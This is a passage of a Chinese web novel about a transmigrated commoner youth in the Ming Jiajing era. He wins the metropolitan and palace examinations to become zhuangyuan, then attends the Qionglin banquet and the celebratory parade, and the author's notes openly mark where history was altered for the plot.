只待紫禁之巅,殿试对策,
便可竞逐那最终极的荣耀
——状元及第,金榜题名!
第138章 连捷传天下,寒门神话成
寅时末,贡院街已挤得插脚不下。
寒气混着人呼出的白雾,
凝成一片躁动的氤氲。
今日放榜,三年一度的盛事,
牵动着无数人心。
各府会馆的书童、长随,
天不亮就揣着暖炉、缩着脖子来占位置,
眼巴巴望着那面巨大的照壁,
如同等候神明宣判。
“让让!让让!
俺是山东李老爷家的人!”
“呸!李老爷算个球!
俺们南直隶徐公子才是文曲星!”
“挤什么挤!靴子!俺的新靴子!”
人群中不时爆发出小范围的推搡和叫骂,
旋即又被更大的焦虑淹没。
卖炊饼、热汤的小贩穿梭叫卖,
生意好得吓人,铜板落入口袋的叮当声此起彼伏。
更有那等精明的“报喜专业户”,
带着锣鼓家什,如同嗅到血腥味的鲨鱼,
在人群外围逡巡,只等榜文一张,
便要抢个头彩,去中试的举人老爷那儿讨一份最厚的赏钱。
“铛——!”
贡院大门洞开,鼓声擂响!
人群瞬间死寂,所有目光齐刷刷射向那队捧着黄榜的礼部官吏。
空气绷紧得像拉满的弓弦。
浆糊刷子重重抹上照壁,黄纸榜单自上而下,缓缓展开。
名字一个接一个出现。
“中了!俺家中了!”
一个矮壮的家仆猛地蹦起来,
嗓门劈裂,眼泪鼻涕糊了一脸,
疯了一样往外挤,要去报喜。
“唉…”
更多的则是叹息,脸色灰败地缩回头,
努力踮脚想看得更远。
“第三百名!是俺们老爷!”
又一个狂喜的声音。
“第二百五十名!河北王教王老爷!”
有人高喊。
人群外围,一个书童打扮的半大小子听得真切。
“嗷”一嗓子,把手里啃了一半的炊饼往天上一抛,
兔子似的窜了出去,边跑边喊:
“中了!我家爷中了!王教老爷中了!”
榜单越展越高,名字越来越显赫。
气氛也越来越灼热。
“第五名!浙江慈溪姚涞姚老爷!”
人群哗然!
姚涞是闻名遐迩的才子,名列前五毫不意外。
立刻就有好几伙报子敲起锣鼓,
唿哨着往浙江会馆方向冲去,
边跑边喊:
“姚老爷高中第五名!恭喜姚老爷!”
“第四名!浙江宁波屠大山屠老爷!”
“好!屠爷中了!”
一个粗豪的汉子大笑,
显然是屠家的随从,一把推开身边的人。
“闪开闪开!俺要给屠爷报喜去!”
“第三名!浙江兴化林文霈林老爷!”
林文霈的书童是个机灵鬼,
早已爬到旁边一棵光秃秃的老槐树上,
看得真切,闻声哧溜滑下来,
落地不稳摔了个屁墩儿,却顾不上疼,
爬起来就往福建会馆(林文霈暂居处)跑,声音都变了调:
“第三!我家少爷第三!第三啊!第三啊!”
接下来,第二名!
所有人的心都提到了嗓子眼。
谁会仅次于那神秘的会元?
名字展开——“南直隶华亭徐阶徐老爷!”
“哗!”
又是一阵巨大声浪。
徐阶之名,江南谁人不知?
竟是第二!那会元是谁?
难道…
不等众人猜测,那最顶端、最显赫的位置,
墨迹淋漓的三个大字,如同惊雷,
炸响在每个人眼前:
“第一名!南直隶沭阳苏惟瑾苏老爷!”
时间仿佛停滞了一瞬。
随即,整个贡院街彻底沸腾了!声浪几乎要掀翻天地!
“苏惟瑾!是那个南直隶解元苏惟瑾!”
“又是他!连中五元!小三元、解元、会元!”
“十七岁的会元!寒门子弟!天爷啊!”
“快!去江苏会馆!头报!头报赏钱最多!”
报喜的锣鼓家伙瞬间全部响起,
几乎所有报子都像发了疯一样冲向江苏会馆方向,
人群被这股洪流裹挟着,
惊呼声、赞叹声、嘶喊声汇成一片。
铜钱、碎银子如同雨点般从沿途酒楼窗口抛洒下来,
那是与苏惟瑾同籍的南直隶商人在狂喜地撒喜钱!
其他会馆的书童们也反应过来,纷纷往回跑。
浙江会馆内,姚涞正与几位同乡品茶,手却微微有些抖。
听得外面喧嚣震天,他的长随连滚爬爬冲进来,满脸红光:
“少爷!中了!第五!您高中第五名!”
姚涞指尖一颤,茶杯盖轻响,
他缓缓吐出一口气,露出一丝笑意,
虽非鼎甲,但名列前茅,已是殊荣。
旋即问:“前四何人?”
长随喘着大气:
“第、第四是屠爷,
第三是林爷,
第二是徐阶徐爷,
第第第一…”
他咽了口唾沫。
“是南直隶苏惟瑾苏老爷!会元!”
姚涞脸上的笑容瞬间凝固,
半晌,化作一声极轻的、复杂的叹息:
“果然…是他。”
心中那点争锋的念头,
彻底烟消云散,只剩佩服。
另一边,屠大山听到自己第四,
哈哈大笑,声震屋瓦:
“好!够用了!
能中式便是祖宗保佑!
啥?头名是苏小子?
哈哈哈!俺就知道!
那小子不是凡人!
快!备礼!俺要去贺他!”
林文霈得知自己第三,
怔了怔,随即苦笑摇头,对
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书童道:
“去,将我书房那方新得的端砚取来,包好。”
这砚,他本是留着自己殿试用的,
现在觉得,送给那位妖孽般的会元,似乎更合适。
徐阶听到自己第二时,
神色平静,只是指尖微微蜷缩了一下。
当听到“会元苏惟瑾”五个字时,
他闭了闭眼,再睁开时,
已是一片清明和坦然。
他整理了一下衣冠,对仆从道:
“备一份最厚的贺仪。
玉衡兄连捷三元,实至名归,
我当亲往道贺。”
语气真诚,毫无芥蒂。
**轩的住处,气氛则有些凝滞。
他的书童小心翼翼回报:
“少爷,您…您高中第二十七名。”
**轩“嗯”了一声,
这个名次虽不算顶尖,但也算中式,
在他预料之中。
他更关心前面:“会元是谁?”
书童缩了缩脖子,低声道:
“是…是南直隶苏惟瑾苏老爷。”
**轩坐在椅中,
良久没有说话,只是拿起手边的茶盏,
却发现手抖得厉害,根本端不稳。
他猛地将茶盏顿在桌上,
发出“砰”一声响,吓了书童一跳。
最终,他从牙缝里挤出几个字:
“…知道了。
备礼,随我去贺。”
那表情,像是生生咽下了一只苍蝇,
却又不得不服。
翟銮府上,老大人早已得到消息,
抚须大笑,对左右道:
“如何?老夫早说过此子非池中之物!
连中五元!寒门之光!
国朝佳话!快,备轿!
不,老夫要亲自步行去江苏会馆,看看我这贤侄!”
而此时的江苏会馆,早已被围得水泄不通。
鞭炮声震耳欲聋,红屑铺满了整条街。
会馆管事脸上笑出了十八道褶子,
指挥着人撒喜钱、端茶水,嗓子都喊哑了。
苏惟山和小奇被人群簇拥着,
接受着潮水般的恭维,
笑得脸都僵了,
只会机械地作揖回礼。
寒门子弟,连中五元!
这个消息像长了翅膀,
飞遍北京城的每一个角落。
茶楼酒肆,无人不在谈论苏惟瑾;
深宅大院,无数闺秀好奇地想象着那位少年才子的模样;
甚至紫禁城内,也有太监宫女在窃窃私语。
一个活着的传奇,就在这漫天飞红和鼎沸人声中,巍然诞生。
苏惟瑾站在会馆二楼的窗边,
看着楼下疯狂的景象,面色平静。
超频大脑冷静地处理着外界的信息洪流,
计算着这名望带来的利弊与未来的棋步。
寒门神话,已成。
下一步,便是那金銮殿上,真正的加冕。
第139章 殿试从容对,状元舍我其谁
三月初一,紫禁城,皇极殿
(注:嘉靖朝殿试应在皇极殿,非太和殿)。
晨曦微露,金水桥畔。
新科贡士三百余名,
身着朝廷颁赐的崭新蓝袍青边进士巾服,
按会试名次肃立。
空气中弥漫着庄严肃穆,
以及一种近乎凝滞的紧张。
鸦雀无声,
唯有晨风吹动衣袂的轻微声响和远处仪仗旗帜的猎猎之声。
今日,他们将在这帝国的心脏,
直面天颜,完成科举的最后一步
——殿试。
此试只排定名次,不黜落,
但一甲三名的荣耀与后续前程,天差地别。
尤其是那状元之位,
更是天下读书人梦寐以求的极致荣光。
苏惟瑾立在队伍最前方,
身姿挺拔如松。
崭新的进士服衬得他面容愈发清俊,
年纪虽最轻,气度却沉静如渊,
在这群普遍年长他许多的贡士中,
非但不显稚嫩,反而有种卓尔不群的夺目。
超频大脑处于一种极度清醒而平和的状态,
外界的一切细节
——汉白玉栏杆上的露水、宫殿脊兽的轮廓、
身边同科略显粗重的呼吸声
——都被清晰地捕捉、处理,却丝毫不扰其心绪。
徐阶、林文霈、姚涞、屠大山等人依次站在他身后,
神色各异,或紧张,或期待,或强自镇定。
**轩站在稍后位置,
目光复杂地看了一眼苏惟瑾挺直的背影,抿紧了唇。
“宣——新科贡士入殿觐见——!”
鸿胪寺官员悠长尖亮的唱喏声响起,打破了凝滞。
贡士们深吸一口气,在礼官引导下,
垂首敛目,屏息静气,
迈着尽可能沉稳的步伐,
依次踏入那雄伟恢弘的皇极大殿。
大殿之内,更是庄重得令人窒息。
金砖墁地,光可鉴人;
盘龙金柱,高耸入穹;
御香缭绕,气氛森严。
文武百官分列两侧,绯袍玉带,
肃然而立,无数道目光落在这些新晋天子门生身上,
带着审视、好奇与评估。
丹陛之上,九龙金漆宝座中,
端坐着大明朝的最高统治者
——嘉靖皇帝朱厚熜。
他今日身着朝服,
年轻的面孔上带着帝王的威仪,
目光扫过鱼贯而入的贡士们,
最终,落在了为首那个异常年轻的身影上,
嘴角几不可察地微微一动。
繁琐的朝拜礼仪过后,
贡士们按名次立于殿中预设的矮案之后。
案上已备好笔墨纸砚。
殿试并无复杂试题,
实为一场最高规格的“面试”。
皇帝或亲自提出策问,
或由读卷官代问,
贡士们需当场撰文对策,
更重要的,是随后可能发生的“临轩问答”,
其仪态、口才、急智,皆在考评之列。
内阁首辅**纪作为读卷官代表,
出列宣读了策问题目,
仍是关乎吏治民生的宏大议题。
贡士们纷纷提笔,凝神构思,落笔疾书。
苏惟瑾并未立刻动笔。
他微闭双目,
超频大脑将题目与既往准备、
当前政局、皇帝偏好进行最后一次高速交叉验证与优化。
片刻后,睁眼,提笔蘸墨,
手腕稳定如磐,落笔如行云流水。
文章架构早已成竹在胸,
此刻不过是将其以最精炼、最典雅、
最有力的文字倾泻而出。
他不仅重复“考成法”精髓,
更引申开去,谈及教化与法治并重,
言辞恳切,逻辑严密,气象宏大。
约莫一个时辰后,陆续有贡士完稿。
受卷官收走试卷,
交由读卷官们初步阅览。
而真正的重头戏,即将开始。
嘉靖帝显然对今科贡士,
尤其是某几人,抱有浓厚兴趣。
他略一抬手,示意问答开始。
首先被点到的,是第二名徐阶。
“徐阶,”
皇帝的声音平和却自带威压。
“尔策论中言‘风俗之本,
自上而下’,何以见得?
又如何施为?”
徐阶深吸一口气,
出列,躬身作答,
引经据典,从《诗经》教化谈到朝廷表率,
论述清晰,从容不迫,
尽显江南才子的深厚学养与沉稳气度。
百官中不少人都微微颔首表示赞许。
嘉靖帝也轻轻点头,表示认可。
接着,皇帝又点了第三名林文霈、第五名姚涞等人问话。
林文霈对答敏捷,姚涞文雅有度,皆表现上佳。
然而,所有人的心知肚明,
皇帝和满朝文武最期待的,
是那个创造了连中五元奇迹的少年。
果然,嘉靖帝的目光,
最终落在了始终垂首静立、
却无形中吸引着所有视线的苏惟瑾身上。
“苏惟瑾。”
“臣在。”
清朗而平静的声音响起,
苏惟瑾应声出列,躬身行礼,
动作流畅自然,毫无滞涩紧张之感。
“抬起头来。”
嘉靖帝道,带着一丝审视。
苏惟瑾依言抬头,
目光恭敬地垂落于御前丹陛之下,
既不失礼,又显从容。
皇帝和近处的大臣们都看清了他的面容
——年轻得过分,却眉目疏朗,
眼神澄澈而深邃,
毫无寻常少年面对天威时的畏缩局促。
“朕观汝会试之策,所言‘考成法’颇新。”
嘉靖帝开口,直奔核心。
“然,法虽好,行之维艰。
若遇阳奉阴违、敷衍塞责者,
又如之奈何?”
这个问题极为犀利,
直指改革可能遇到的最大阻力。
刹那间,所有目光都聚焦在苏惟瑾身上。
徐阶等人也不由为他捏了一把汗。
然而苏惟瑾神色不变,
超频大脑早已推演过此类问题。
他略一沉吟,声音清晰沉稳地回荡在大殿之中:
“陛下圣明,洞见**。
法无完法,贵在行之者善。
臣以为,防此弊者,
首在‘信赏必罚’四字。
考成之结果,必须与官员之升迁
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黜陟严格挂钩,毫不容情。
优者超擢,劣者立黜,
则人心方知震动,法令方有威信。”
他顿了顿,引据经典:
“昔诸葛武侯治蜀,
法峻而民无怨者,
以其‘开诚心,布公道’,
且‘赏不遗远,罚不阿近’。
故臣以为,辅以‘巡察核实’之制,
确保考绩公允;
再以陛下之乾纲独断,
震慑宵小,则法令下行,畅通可期。
天下之事,难于立法,更难于执法。
若有陛下坚定不移为之后盾,
则万难可克。”
他没有空谈道德,
而是从制度保障和顶层支持的角度回应,
既承认困难,又提出了解决的思路,
尤其巧妙引用诸葛亮先例,
将其严法与他所强调的“信赏必罚”、
“陛下支持”结合起来,
既显学识,又无比契合嘉靖帝欲强化君权、
雷厉风行推行新政的心思。
嘉靖帝听着,眼中欣赏之色越来越浓。
此子不仅见识非凡,
更难得的是思路清晰,
懂得务实操作,绝非纸上谈兵之辈!
“善!”
皇帝忍不住赞了一声,又追问:
“若以此法施为,卿以为,首重何处?”
苏惟瑾毫不犹豫答道:
“首重京师,首重堂部。
京官乃天下表率,六部乃政令之源。
源清则流洁,本盛则末荣。
若中央衙门率先垂范,
严行考成,则天下州县,
谁敢不凛遵?
此乃擒贼先擒王,提纲而挈领。”
此言一出,不少部院大臣脸色微变。
这少年好大的胆子!
直接把火烧到了他们头上!
但仔细一想,却又无法反驳,
这正是改革的关键所在。
嘉靖帝却是龙心大悦!
他正愁如何对盘根错节的京官系统开刀,
苏惟瑾此言,简直说到了他心坎里!
“好一个‘提纲挈领’!”嘉靖帝抚掌,
脸上露出了真切的笑容。
“苏卿年纪虽轻,见识却老成谋国,深得朕心!”
一连串的问答,苏惟瑾皆对答如流,气定神闲。
其言辞之精准,逻辑之严密,
见识之超卓,气场之从容,
将之前表现已属上佳的徐阶、林文霈等人,
都明显比了下去。
满朝文武交换着眼神,心中都已了然。
这状元之位,恐怕再无悬念。
临轩问答结束,贡士们退出大殿,
等待最终结果。
虽然名次需待读卷官们评定后呈皇帝钦定,
但方才殿上情形,所有人都看得分明。
走出皇极殿,阳光正好,
洒在紫禁城的红墙金瓦上,一片辉煌。
苏惟瑾微微眯起眼,
感受着阳光的温度。
超频大脑平静地回放着方才殿上的每一帧画面,
每一个细节,确认毫无疏漏。
气场合,帝心喜,文章佳。
状元之位,已如探囊取物。
寒门状元之路,只待那最后一声传胪唱名。
舍我其谁。
第140章 金殿传胪唱,**冠世!
三日后,紫禁城,皇极殿前。
天未破晓,但皇家禁地已是灯火通明,仪仗煊赫。
汉白玉铺就的巨大广场上,
銮仪卫的校尉们持着斧钺、瓜戟、旗幡,
肃立如林,鸦雀无声。
丹陛两侧,文武百官身着朝服,
按品级序列而立,绯袍玉带,
在晨曦微光和无数灯火的映照下,
形成一片庄重而华丽的海洋。
空气中弥漫着皇家祭祀特有的檀香,
以及一种近乎凝固的、混合着期待与敬畏的气氛。
今日,是嘉靖二年癸未科殿试传胪大典,
新科进士的最终名次将在此揭晓,
尤其是那万众瞩目的鼎甲三人
——状元、榜眼、探花,
将在此刻,享受到天下读书人所能企及的极致荣光。
新科贡士们再次立于殿前广场中央,
身着崭新的进士巾服,
心情却与三日前殿试时截然不同。
紧张、激动、期盼、乃至一丝惶恐,
交织在每个人脸上。
他们的命运,将在下一刻被最终裁定。
苏惟瑾依旧立在队伍最前方。
超频大脑平静地运行着,
精准地控制着呼吸与心跳,
让他看起来比任何人都要镇定。
但内心深处,一种前所未有的激荡也在悄然涌动。
寒窗十载(虽大部分是穿越后的超频加速),
一路从沭阳那个备受欺凌的书童走到这紫禁之巅,
无数画面在脑中飞速闪过。
今日,便是最终章。
徐阶、林文霈、姚涞等人站在他身后,
神色肃穆,手心皆是汗。
即便是最沉稳的徐阶,
此刻也难以完全抑制内心的波澜。
屠大山更是紧张得微微跺脚,
被旁边的官员瞪了一眼才赶紧收敛。
东方既白,第一缕晨光刺破云层,
洒在皇极殿金色的琉璃瓦上,
反射出万丈光芒。
恰在此时,钟鼓齐鸣,韶乐大作!
“陛下升殿——!”
鸿胪寺官员高亢悠长的唱喏声,
穿透乐声,响彻广场。
百官跪迎,贡士躬身。
嘉靖皇帝朱厚熜身着衮服,
在御前侍卫和太监的簇拥下,
登上丹陛,升御座。
年轻的皇帝今日面色红润,
眼神锐利,带着一种主宰命运的威严与一丝不易察觉的满意。
繁琐的礼仪过后,最关键的时刻到来。
大学士**纪上前,
从御前太监手中接过那份决定三百余人命运的黄榜,
展开,深吸一口气,面向广场。
整个天地间,仿佛只剩下他一人。
所有目光都聚焦在他手中那张薄薄的、却重若千钧的黄纸上。
**纪运足中气,
用尽可能洪亮、清晰、
拖长调的声音,高声唱名:
“第一甲第一名——”
声音在空旷的广场上回荡,
每一个字都敲击在众人的心弦上。
时间仿佛被拉长,
无数人的心脏提到了嗓子眼。
**纪的目光扫过黄榜,
最终定格在那个毫无悬念的名字上,高声唱出:
“苏——惟——瑾——!”
声音如同惊雷,炸响在每个人耳边!
“状元及第——!”
轰!尽管早有预料,
但当这三个字真真切切从大学士口中唱出,
经由鸿胪寺官员层层传唱,
响彻云霄时,所带来的震撼依旧是无以复加的!
“哗!”
广场上响起一片压抑不住的惊呼和抽气声。
百官之中,无数道目光瞬间聚焦在那个最前方的年轻身影上,
充满了震惊、赞叹、羡慕、乃至一丝嫉妒。
寒门子弟!连中六元!
**!十七岁的状元!
任何一个头衔都足以惊世骇俗,
而当它们全部汇聚于一人之身时,
便成就了一个空前绝后的神话!
翟銮抚须微笑,满脸欣慰。
石珤目光复杂,最终化为一声轻叹。
贾咏嘴角微翘,带着投资成功的得意。
徐阶闭上了眼,深吸一口气,
再睁开时,已只剩纯粹的敬佩,
率先向苏惟瑾投去祝贺的目光。
林文霈苦笑摇头,心服口服。
姚涞眼神复杂,最终化作一声轻叹。
屠大山则差点激动地喊出来,
被身旁人死死拉住。
**轩脸色煞白,低下头,
彻底失去了最后一丝争胜之心。
苏惟瑾的心跳,
在这一刻也漏了一拍。
纵然超频大脑早已推演出极高概率,
但当梦想照进现实的这一刻,
巨大的冲击力依旧让他血液沸腾。
他迅速收敛心神,按照礼仪,
出列,向前,于御道左侧跪下,
叩首谢恩:
“臣苏惟瑾,叩谢陛下天恩!”
声音清朗,稳定,带着超越年龄的沉稳。
嘉靖帝看着丹陛下那个英姿勃发的少年状元,
脸上露出了极为满意的笑容,微微颔首。
唱名继续。
“第一甲第二名——徐阶!榜眼及第!”
徐阶出列,于御道右侧跪下谢恩,神色平静,礼仪无可挑剔。
“第一甲第三名——林文霈!探花及第!”
林文霈出列,跪于徐阶之后侧,声音带着一丝激动。
鼎甲三人,尘埃落定!
历史于此定格:
嘉靖
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二年癸未科,状元苏惟瑾,榜眼徐阶,探花林文霈!
(注:历史上此科状元为姚涞,榜眼王教,探花徐阶,小说剧情需要调整。)
随后,**纪继续唱名,宣布第二甲、第三甲名单。
姚涞、屠大山、王教(历史上此科榜眼)等人皆名列前茅,
但此刻,所有的光芒都已被那鼎甲三人,
尤其是状元的万丈荣光所掩盖。
唱名毕,韶乐再起。
礼官引导,新科进士们叩谢皇恩。
接下来,便是最激动人心的环节——跨马游街!
苏惟瑾、徐阶、林文霈三人被引至偏殿,
更换皇帝亲赐的朝服冠带。
状元苏惟瑾,身着大红色锦袍,
胸前缀着赤金簪花,
乌纱帽两侧各插一朵纯金打造的宫花,
在阳光下璀璨夺目,
映衬得他面如冠玉,
英气逼人,真真是春风得意,
荣耀万丈!
三人翻身上马,礼炮齐鸣,鼓乐喧天。
御前侍卫开道,
仪仗高举“状元及第”、
“榜眼及第”、
“探花及第”的巨大朱牌,
浩浩荡荡走出承天门(今**)。
早已等候在长安街两侧的北京百姓,瞬间爆发出山呼海啸般的欢呼!
“出来了!状元公出来了!”
“快看!那就是苏状元!天哪!好年轻!好俊俏!”
“**!千古罕见啊!”
“扔喜钱了!沾沾文气!”
人山人海,万人空巷!
街道两侧的酒楼茶肆窗口挤满了人,
大姑娘小媳妇们争相抛下香帕、花果,
尖叫声不绝于耳。
孩子们在人群中钻来钻去,
争抢着官府和富户抛洒的铜钱和喜糖。
苏惟瑾端坐于披红挂彩的高头骏马之上,
面带微笑,向道路两旁的人群颔首致意。
超频大脑依旧冷静,处理着这庞大喧嚣的场面,
让他举止得体,风度翩翩。
但他心中,那澎湃的激情却真实无比。
寒门之子,今日,终于立于这万人中央,感受这万丈荣光!
跨马游街,队伍缓缓前行,
接受着帝都万民的瞻仰与欢呼。
从承天门到长安街,再到棋盘街…
所到之处,皆是欢声雷动。
这一刻,他是真正的天之骄子,
是大明开国以来罕有的“**”得主,
是寒门学子心中永不磨灭的神话!
苏惟瑾的名字,
伴随着响彻云霄的传胪唱名声和万民欢呼,
彻底铭刻于嘉靖二年的春天,
铭刻于大明科举史的巅峰之上。
荣耀,达到极致。
超频逆袭之路,于此,圆满加冕!
第141章 琼林宴上,众生百态
皇极殿传胪的荣光尚未散去,
更大的荣耀和考验已接踵而至
——琼林宴。
此宴始于前宋,专为新科进士而设,
乃天子示恩、群臣庆贺、进士联谊之盛事。
大明沿袭此制,宴设于礼部衙门后的琼林苑内。
是日,苑中张灯结彩,锦帷绣幕,
御赐的珍馐美馔流水般呈上,
宫中乐师奏着典雅祥和的乐章,
一派皇家气象,与殿试时的肃穆截然不同。
新科进士们褪去了紧张,
换上了喜悦与矜持混杂的神情。
他们不再是忐忑的考生,
而是即将踏入仕途的“天子门生”。
官袍虽仍是临时赐予,却已显出新贵的风采。
然而,在这三百余人中,
焦点无疑只有一个——连中六元、**及第的状元郎,苏惟瑾。
他一身大红状元袍,金花簪帽,
立于人群之中,宛若玉树临风,
想不引人注目都难。
超频大脑自动运转,
将周遭的一切信息
——官员的品级补服、同年的窃窃私语、侍者穿梭的路径
——悉数捕捉、分析、归档。
他面上带着恰到好处的微笑,
举止从容,既不过分热情显得轻浮,
也不过分冷淡失却礼数。
宴会尚未正式开始,已是暗流涌动。
各方人物纷纷上前,
将这年轻的状元郎围在了中心。
最先来的自然是今科座师、读卷官们。
礼部尚书兼文渊阁大学士石珤缓步而来,
神色复杂地看着自己这位“门生”。
他虽不喜苏惟瑾文章中某些过于“跳脱”的苗头,
但此子终究是在他主持的会试、殿试中拔得头筹,
这份师生名分和提携之功是跑不了的。
“玉衡啊,”
石珤语气比以往温和了许多。
“今日之后,便是朝廷栋梁。
望你戒骄戒躁,谨守臣节,
精研学问,不负圣恩。”
话语虽是老生常谈,却代表着官方正式的认可。
苏惟瑾深深一揖:
“学生谨遵老师教诲,定当勤勉王事,以报天恩师恩。”
副主考贾咏的笑容就真诚热切得多,
他亲昵地拍了拍苏惟瑾的手臂:
“好!好!
玉衡果然一飞冲天!
老夫早就看出你非池中之物!
日后同在朝为官,还需多多亲近才是!”
这话里拉拢结盟的意味,已十分明显。
苏惟瑾微笑应道:“贾师提携之恩,学生没齿难忘。”
吏部、翰林院、都察院…
各衙门的堂上官、重要司官也陆续过来混个脸熟。
态度大多热情,甚至带着几分不易察觉的谄媚。
谁都明白,一个十七岁的**状元,
只要不行差踏错,未来前程简直不可限量,
此时结个善缘,成本最低,回报可能最高。
“苏状元年少英才,实乃国之祥瑞!”
“久仰苏解元…不,苏状元大名,今日得见,三生有幸!”
“不知苏状元可曾婚配?哈哈,老夫唐突了…”
苏惟瑾从容应对,拱手、寒暄、谦逊,
对各类或真诚或虚伪的夸赞应付自如,
言辞得体,既不卑也不亢。
超频大脑飞速运转,
帮他辨认着每一张面孔,
关联其官职、背景、可能的派系,
并生成最合适的应答模板。
这番初露峥嵘的官场应酬能力,
让一旁暗中观察的徐阶也微微颔首。
当然,并非所有目光都充满善意。
在宴会一角,几位官员簇拥着两个气质略显阴鸷的中年官员。
其中一人面皮白净,三缕长须,眼神锐利,
正是靠“大礼议”起家、圣眷正隆的张璁(此时尚未改名张孚敬)。
另一人面容瘦削,神色冷峻,则是他的亲密盟友桂萼。
张璁端着酒杯,目光冷冷地扫过被众人围捧的苏惟瑾,低声道:
“好一个寒门状元,好大的风光。”
语气平淡,却透着一丝不易察觉的酸意与审视。
他们这些“议礼新贵”,
是靠着站队皇帝、打击杨廷和等旧臣上的位,
对于这种凭正统科举功夫、
尤其是获得石珤等相对中立老臣赏识的“学术新星”,
本能地带着几分警惕和排斥。
桂萼哼了一声:
“少年得志,未必是福。
且看他能得意几时。”
他们更看重的是**站队和实用,
对所谓“学问”本身,
并不像传统文臣那般看重。
另一侧,刑部员外郎何鳌(严嵩门生)也与几位官员低声交谈,
目光偶尔掠过苏惟瑾,
带着一种评估和算计的意味。
对于任何可能不属于自己阵营的新锐,都保持着关注和警惕。
这些隐含敌意或审视的目光,
皆被苏惟瑾的超频感知捕捉。
他心中了然,面上却依旧春风和煦,仿佛全然未觉。
官场从来不只是温情脉脉,
荣耀的背后,便是暗礁丛生的开始。
“玉衡兄!”
一声爽朗的呼唤打破了些许微妙气氛。
只见屠大山端着两大杯酒挤了过来,
满脸红光,比自己中了状元还兴奋。
“来来来,俺老屠必须敬你一杯!
俺们这一科,就数你最给劲!
**!哈哈哈,说出去俺脸上都有光!”
他这浑人作态,冲淡了方才略显正式的气氛,
引得众人一阵善意的哄笑。
徐阶、林文霈等人也笑着围了过来。
同年之情,在此刻显得尤为真切。
林文霈笑道:
“玉衡兄,今日之后,天下无人不识君矣。”
他中了探花,已是极好的名次,
但比起苏惟瑾的万丈光芒,终究逊色不少,
语气中带着真诚的佩服和一丝自嘲。
姚涞也举杯,笑容略显复杂:
“恭喜玉衡兄,三元及第,实至名归。”
他本是状元的热门人选,
如今屈居二甲前列,心中滋味,唯有自知。
苏惟瑾连忙与诸位同年对饮,诚恳道:
“侥幸而已,诸位兄台才学皆在惟瑾之上,
日后同朝为官,还需相互提携,共报皇恩。”
正说话间,鸿胪寺官员高唱:
“陛下有赏赐到——!”
众人忙肃立。
只见太监捧来皇帝亲赐的礼物:
予状元苏惟瑾金碗一只、宫花十朵、绸缎二十匹;
榜眼、探花及诸进士各有赏赐,依例递减。
虽非重赏,却是莫大的荣耀。
赏赐完毕,宴会气氛达到高潮。
乐声再起,觥筹交错。
随后,便是新科状元代表全体进士向皇帝
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谢恩、
向考官敬酒等固定流程。
苏惟瑾举止大方,言辞恳切,
应对得天衣无缝,
引得暗中观察的翟銮频频点头,面露欣慰之色。
这个他一路看好的苗子,
终究没有让他失望,
反而绽放出了远超预期的光芒。
宴至半酣,按惯例,
新科进士们,尤其是鼎甲三人,需赋诗留念。
众人的目光自然又聚焦到苏惟瑾身上。
苏惟瑾心中微动,超频大脑中无数诗词歌赋奔腾涌动。
他并未完全照抄后世名篇,
而是巧妙化用前人意境,
结合今日盛景,略一沉吟,便口占一绝:
“琼林春暖沐恩光,
杏苑风清姓氏香。
岂为文章夸锦绣,
愿将忠悃报君王。”
诗不算绝世,但应景、得体,
尤其后两句转得巧妙,
从夸耀文采自然升华到忠君报国,
格局顿开,既符合状元身份,又彰显了**正确。
“好!好一个‘愿将忠悃报君王’!”
贾咏率先击节赞叹。
石珤也捻须点头,这诗四平八稳,
立意端正,很合他的胃口。
就连张璁那边,也微微挑了挑眉,
似觉得此子并非一味狂生。
此时,今科榜眼徐阶上前一步,手持酒盏,朗声道:
“玉衡兄此诗立意高远,小弟自愧不如,也献丑一首,聊表心意。”
言罢,缓缓吟道:
“御赐宫花映锦裳,
琼林宴上愧登堂。
纵观今科谁最盛,
独羡苏郎压众芳。”
诗中直言自己登榜的“愧意”,
更以“独羡苏郎压众芳”直白推崇苏惟瑾,
语气坦荡,引得周围官员纷纷颔首
——连榜眼都如此服膺,足见状元风采绝非虚传。
紧接着,探花林文霈亦上前,
目光诚恳地看向苏惟瑾:
“玉衡兄三元之誉,实至名归,小弟这诗,便为贺你也为自勉。”
说罢吟出:
“琼林同醉御筵香,
杏榜高悬我次芳。
不是才疏输玉衡,
三元风采本无双。”
他坦然点出自己“次芳”的探花身份,
更直言“不是才疏”,
而是苏惟瑾的“三元风采本无双”,
将对苏惟瑾的敬佩说得明明白白,
话落便举杯向苏惟瑾一敬,
全无半分嫉妒之色。
**轩见此情景,也笑着赋诗相和,
其余进士亦纷纷提笔或口占,
虽各有巧思,却无一人能盖过苏惟瑾的风头
——连鼎甲中的榜眼、探花都心甘情愿为他衬景,
这份荣光,纵观大明科举史,也属罕见。
琼林宴就在这表面一团和气、
内里暗流涌动中持续着。
苏惟瑾周旋于各色人等之间,
言笑晏晏,眼神清澈而冷静。
超频大脑如同最精密的仪器,
不断处理着信息,分析着局势,
学习着这大明官场的第一次实践课。
这琼林盛宴,既是荣耀的顶峰,
也是征途的起点。
前方的路,远比科举考场更加复杂诡谲。
但此刻,他只需享受这万丈荣光。
宴会终了,更大的狂欢还在后面
——跨马游街,正式开始!
而这,将是属于整个京城的节日。
第142章 御街夸官,风华绝
皇极殿前的传胪大典是面向朝廷的加冕,
而跨马游街,则是面向万民的宣告。
这是专属于鼎甲三人的无上荣光,
更是新科状元一人独领风骚的舞台。
礼炮九响,鼓乐愈发喧天。
承天门那厚重的朱漆金钉大门在吱呀声中缓缓洞开,
将门内庄严肃穆的皇家禁地与门外沸腾喧嚣的市井人间连接起来。
苏惟瑾一马当先,徐阶、林文霈稍后半個马身。
三匹通体雪白、神骏非凡的御马皆披红挂彩,马头簪着金花。
状元、榜眼、探花三人身着红袍,
帽插宫花,在清晨阳光的照耀下,
绚烂夺目,胜似天神下凡。
“出来了!状元公出来了!”
承天门外,早已是人山人海,万头攒动。
不知是谁率先高喊了一声,
瞬间点燃了积蓄已久的热情。
欢呼声、惊叹声、尖叫声汇聚成海啸般扑来,
几乎要将整个长安街掀翻!
“天爷!那就是苏状元?竟这般年轻俊俏!”
“十七岁的**!文曲星君转世也没这般厉害!”
“快看!他看过来了!笑了!对我笑了!”
一个挤在前排的大姑娘激动得差点晕厥过去。
“扔啊!沾沾文气!”
无数铜钱、喜糖、
甚至精心准备的香囊、手帕、
鲜花如同雨点般从街道两侧的酒楼窗口、
人群中抛洒出来,
主要目标自然是那最前方、
最耀眼的少年状元。
苏惟瑾端坐马背,
超频大脑自动调节着感官,
过滤掉过于刺耳的噪音,
却能清晰捕捉到那些充满善意的惊叹和祝福。
他面上保持着温和得体的微笑,
